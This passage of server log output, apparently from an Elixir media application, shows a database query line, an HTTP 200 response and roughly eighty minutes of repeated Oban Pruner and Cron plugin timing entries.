s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:01:33.469 [info] Sent 200 in 30ms 01:01:37.031 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.145 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:07.033 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:37.035 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.146 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:07.037 [info] {"source":"oban","duration":1159,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:37.039 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.147 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:07.041 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:37.043 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.148 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:07.045 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:37.047 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.149 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:07.049 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:37.051 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:00.150 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:07:07.053 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:07:37.055 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:00.151 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:08:07.057 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:08:37.059 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:00.152 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:09:07.061 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:09:37.063 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:00.153 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:10:07.066 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:10:37.068 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:00.154 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:11:07.070 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:11:37.072 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:00.155 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:12:07.074 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:12:37.076 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:00.156 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:13:07.078 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:13:37.080 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:00.158 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:14:07.082 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:14:37.084 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:00.159 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:15:07.086 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:15:37.088 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:00.160 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:16:07.090 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:16:37.092 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:00.161 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:17:07.094 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:17:37.096 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:00.162 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:18:07.098 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:18:37.100 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:00.163 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:19:07.102 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:19:37.104 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:00.164 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:20:07.106 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:20:37.108 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:00.165 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:21:07.110 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:21:37.112 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:00.166 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:22:07.114 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:37.116 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.167 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:23:07.118 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:37.120 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.168 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:24:07.122 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:37.124 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.169 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:25:07.126 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:37.128 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.170 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:26:07.130 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:37.132 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.171 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:27:07.134 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:37.136 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.172 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:28:07.138 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:37.140 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.173 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:29:07.142 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:37.144 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.174 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:30:07.146 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:37.148 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.175 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:31:07.150 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:37.152 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.176 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:32:07.154 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:37.156 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.177 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:33:07.158 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:37.160 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.178 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:34:07.162 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:37.164 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.179 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:35:07.166 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:37.168 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.180 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:36:07.170 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:37.172 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.181 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:37:07.174 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:37.176 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.182 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:38:07.178 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:37.180 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.183 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:39:07.182 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:37.184 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.184 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:40:07.186 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:37.188 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.185 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:41:07.190 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:37.192 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.186 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:42:07.194 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:37.196 [info] {"source":"oban","duration":1049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.187 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:43:07.198 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:37.200 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.188 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:44:07.202 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:37.204 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.189 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:45:07.206 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:37.208 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.190 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:46:07.210 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:37.212 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.191 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:47:07.214 [info] {"source":"oban","duration":1794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:37.217 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.192 [info] {"source":"oban","duration":320,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:48:07.219 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:37.221 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.193 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:49:07.223 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:37.225 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.194 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:50:07.227 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:37.229 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.195 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:51:07.231 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:37.233 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.196 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:52:07.236 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:37.238 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.197 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:53:07.240 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:37.242 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.198 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:54:07.244 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:37.246 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.199 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:55:07.248 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:37.250 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.200 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:56:07.252 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:37.254 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.201 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:57:07.256 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:37.258 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.202 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:58:07.260 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:37.261 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.203 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:59:07.264 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:37.266 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.204 [info] {"source":"oban","duration":333,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:00:07.268 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:37.270 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.205 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:01:07.272 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:37.274 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.206 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:07.276 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:37.278 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.207 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:07.280 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:37.282 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.208 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:07.284 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:37.286 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.209 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:05:07.288 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:37.290 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.210 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:06:07.292 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:37.293 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.211 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:07:07.296 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:37.298 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.212 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:08:07.300 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:37.302 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:00.213 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:09:07.304 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:09:37.306 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:00.214 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:10:07.308 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:37.310 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.215 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:07.312 [info] {"source":"oban","duration":1133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:37.314 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.216 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:07.316 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:37.318 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.217 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:07.320 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:37.322 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.218 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:07.324 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:37.326 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.219 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:07.328 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:37.330 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.220 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:07.332 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:37.334 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.221 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:07.336 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:37.338 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.222 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:07.340 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:37.342 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.223 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:07.344 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:37.346 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.224 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:07.348 [info] 